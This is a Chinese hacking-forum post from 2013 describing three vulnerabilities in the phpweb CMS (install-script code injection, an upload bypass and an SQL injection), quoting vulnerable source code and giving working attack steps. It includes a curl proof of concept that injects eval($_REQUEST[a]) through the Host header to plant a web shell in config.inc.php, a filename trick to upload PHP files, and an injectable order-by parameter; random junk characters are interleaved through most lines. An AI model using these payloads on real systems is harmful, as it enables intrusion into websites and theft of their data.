找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2969|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
* Q, Z8 k' \( G; S* a1 S8 b/ b% p
% Z. _7 O7 e8 j! Y; d5 h# c之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  f, |& [0 J1 x, S0 p! ?' y& ?
/ ~  f4 r( k( X# j/ `# N4 o1 `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
% ?/ {; \% b! Q$ Z鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 e* `3 B3 l6 N
8 H$ W, _' j6 r虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' d; }# i* ~( k0 I 1 G. g& W  h9 f" z
分析:
' s6 f. ]1 }* V/ ]  ]4 T% P5 G
3 w, B1 J) f" x/ g1 [5 K+ y % P! n7 r" X; z4 K% z  N, R: E
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤8 A6 ]9 o; l0 U$ j" {5 H% B9 s# @

8 G( V% q2 {; \3 C; Z+ D! }                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
6 k+ n+ F: K# ^! h                                            $filestr=str_replace(" ","",$filestr);$ K; i5 T$ A  j3 p* K- q
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# u+ c* H' X% g: \; X+ B                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);& L0 W8 z' q" D6 m1 P, L
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
0 k0 c  L/ r! j! r7 \! c& [                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);" @& q8 p7 {$ E1 |
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
& S. n% c' a) r- i# q7 @5 |                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. N3 d+ n7 L- j$ K6 y9 F4 e                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);* b: E5 C: q- P4 y, K

6 E4 A' {) R: R- E6 \0 A9 Z7 O                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
9 T! F3 p6 I; l6 J& s$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^1 g% T3 J/ z% e% d$ p

. D7 D) B" W' r  a$ Fpoc:# a. J5 o. X4 z6 r) I

: U6 G9 g1 E8 M! A" V?" C' P$ ]& ]( V- K2 C- E7 z
1
; B/ T+ i, \5 E5 a" o: |curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"- F* i0 o' h0 V3 P  G, g
shell地址: /config.inc.php
: |, G( |( O7 v跟之前的 phpcms一样 需要远程数据库
- A1 c( @; S( X5 @0 ^5 x' C
3 m, f* _$ v8 k3 l* `% j——————————————————–* p4 z  Y2 I1 h, G9 K
上传漏洞(需要进后台):# u+ [0 |3 A# X0 z" b' {% E
漏洞文件: /kedit/upload_cgi/upload.php
) B) ]6 O0 F! s0 b8 m这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 W  m! G" |* n+ Z7 ?
' h* a$ D! f% m0 K% B0 r
/ C$ s! S, Q4 [( B7 V1 W
<?php! d; X* t& w: W* j
    define("ROOTPATH", "../../");
  o6 B; Z* x3 b; M1 i    include(ROOTPATH."includes/admin.inc.php");
" D3 H6 l. P" G" z, [8 D; C    NeedAuth(0);/ A! l1 ~& o$ T2 s9 D
" B" X9 \& @. W
    $dt=date("Ymd",time());2 S% U/ j- N( k& T6 l& W' C2 M
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& W; Q7 x9 `2 A& b2 T* T1 o2 f            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
3 s7 P+ _1 Y9 N5 A' c( E) A" H    }$ o0 c; d7 F, u# q1 O& B) R! X1 M

3 z0 L* G1 t( Y7 c; e4 x    //文件保存目录路径
% T4 v# H$ m: Y& ^; H3 j9 f) p    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
3 x) H- E2 f$ @, T. C% M    echo $save_path;
4 j' U% x9 w, L1 W    //文件保存目录URL
3 P8 Q- ~9 w6 Q    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' }. }$ _& t# X! P$ Y/ }7 N7 h
! K' v/ \/ `$ Z    //定义允许上传的文件扩展名( W. W5 m) M. F+ ]
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀) K+ R) e1 g' W4 p6 G7 L

9 a6 Z) e9 q9 U    //最大文件大小
! |: U/ l5 y4 {7 \    $max_size = 1000000;) G  r% D/ K" N- q

2 B$ K3 u% k( V( b- e3 q# A    //更改目录权限& }* w" P* y7 e1 ]5 G7 G8 g+ Z
    @mkdir($save_path, 0777);- z7 \  d; j7 }# L! J8 q

$ n: @3 L' H: D* E    //文件的全部路径
: e! h' D+ s. @9 J  @    $file_path = $save_path.$_POST['fileName'];   //保存文件名6 w! k% p- E, |
. @# s4 i. N7 f. C( {. J5 ^7 P
    //文件URL
4 s9 r( }' L- z% b# @, ]: ?  F7 ~    $file_url = $save_url.$_POST['fileName'];
) P$ _) S+ y6 e* U- r0 e//有上传文件时
3 k1 l# Y+ f" Z; x    if (empty($_FILES) === false) {! |- m& Q$ ~: u, M% y+ S
+ I+ i& V6 x- b" U5 h1 K" ]
            //原文件名
, B& o, l& P) Y7 q# l; l            $file_name = $_FILES['fileData']['name'];
) A6 X  d' ]) X, }. x0 J4 x            //服务器上临时文件名4 J, l3 `% n# h9 T2 E
            $tmp_name = $_FILES['fileData']['tmp_name'];
6 I+ U* `: \/ H6 M' S  s            //文件大小
8 h% X9 E% ]  k, Y/ r            $file_size = $_FILES['fileData']['size'];
9 c, ?* J  k9 F            //检查目录7 q% P$ _# P0 R5 H0 ]/ y+ G
            if (@is_dir($save_path) === false) {& Q0 c% b8 Z" `+ t+ o8 @, o5 D
                    alert("上传目录不存在。");
, D0 `5 h$ T+ y% n* R. H  `( j            }
+ W6 P0 b7 k0 `8 x% [& w4 B            //检查目录写权限+ n3 G7 q3 J8 v8 \0 M- z% O4 @
            if (@is_writable($save_path) === false) {
, x  R$ Q$ |0 r                    alert("上传目录没有写权限。");4 F+ z6 t+ D# e! W( _9 S
            }
! T9 _, G2 d! A            //检查是否已上传& z; D# l9 z, \
            if (@is_uploaded_file($tmp_name) === false) {) |; R$ U8 b/ Z- U
                    alert("临时文件可能不是上传文件。");
4 h" M  W% b9 y            }
* w* T2 V' h0 U+ p            //检查文件大小
+ a* `$ o. W0 y# e' U1 s4 L$ c            if ($file_size > $max_size) {
1 F1 _3 O5 L/ [, F. S                    alert("上传文件大小超过限制。");5 I0 g+ ^* ?2 j7 i" P! [# I1 p
            }; `& i$ g; K: _8 R. u: J. H8 q& Y
            //获得文件扩展名
7 ~5 E) L9 B/ {6 s3 X2 S            $temp_arr = explode(".", $_POST['fileName']);9 B; E% S4 `" J0 J& @
            $file_ext = array_pop($temp_arr);
7 f9 T3 d5 v* [, x7 t7 b6 l0 b" ~) ?            $file_ext = trim($file_ext);7 W# q! b" P3 S& F: _
            $file_ext = strtolower($file_ext);2 D3 E/ ^$ u2 n

: N/ Y( K/ k  E3 K( E* ^9 }" l  @            //检查扩展名   / c) V8 h( D8 K8 |* O2 V8 z
            if (in_array($file_ext, $ext_arr) === false) {     2 ^& s" |! S4 H  U  O7 c, c6 {: j
                    alert("上传文件扩展名是不允许的扩展名。");- g* [: Q+ u# Y* O1 Y% G  ~+ r
            }) S7 F0 a/ s) A8 \$ u

' l, `+ q( P# d            //移动文件   2 l: z8 f4 u2 `
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
8 [8 Z% [. j( A9 F9 k. `& k            if (move_uploaded_file($tmp_name, $file_path) === false) {* i$ f7 y6 n8 l, I6 m- T4 N
                    alert("上传文件失败。");
; h. y% E( s" \. v            }/ I# j2 w" e: ]

5 h8 W: ~4 j$ e0 T9 |( b0 V* M+ Z# ^            @chmod($file_path,0666);
5 v2 l8 n/ `5 t- m# D0 n1 Z) c! T 9 y2 S" Z3 R7 P; {
    ?>
: ]- c6 x( u* T# d. L抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' [+ b9 Y/ O; J2 L# e- `
( a. L; G. Y& S. F; G
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 |) F, S. w, W7 m. H1 c- T
& y2 g; M' M( H: ]——————————————————
8 p4 T1 G# J+ Q. S9 Y注入漏洞:* K( c. Z: K% Z
漏洞文件:search/module/search.php1 c0 G9 ^! l: e# _
/search/index.php?key=1&myord=1 [sqlinjection]9 h# E) h; A3 e8 }, B* v
, w* w0 S+ Z: j* y! c

! L. m7 g# w! T& O4 J" q- e, ?+ a<?php- c2 A3 D% Z2 \/ L7 G! H! z
   //       ... 省略 n 行.../ m& c- B& z0 k, s% _8 j' W
   //第18行:
. [4 U* Z7 y8 L: P           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响; U2 T0 o7 G, y& c
           $page=htmlspecialchars($_GET["page"]);2 l7 n# d9 c! N. V. `3 s# s0 x" Z
           $myord=htmlspecialchars($_GET["myord"]);% B8 t2 s0 r9 ^; |  R
2 N* q8 u  l' a4 ?
   //       ... 省略 n 行...3 w1 s9 Z  j% ?! t: M
   $key,$myord 两个参数带入查询
* V) n. J. z3 R( W- y   //第47行 $key:
6 Q; J6 W& n) ~/ z) B* N
! K/ X+ K, e# y1 C$ c" q4 a   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
1 l: p. ]  ?' P 7 [$ [; t6 ~) @- g4 u0 r
   //第197行 $myord# y8 f* z1 H. V' a$ [% R
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
0 }7 k$ ~$ X8 }
9 ~$ ~1 u  z; I! q: G( g' O   ?>
  X" s; l" W, ]$ R5 i. w, i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表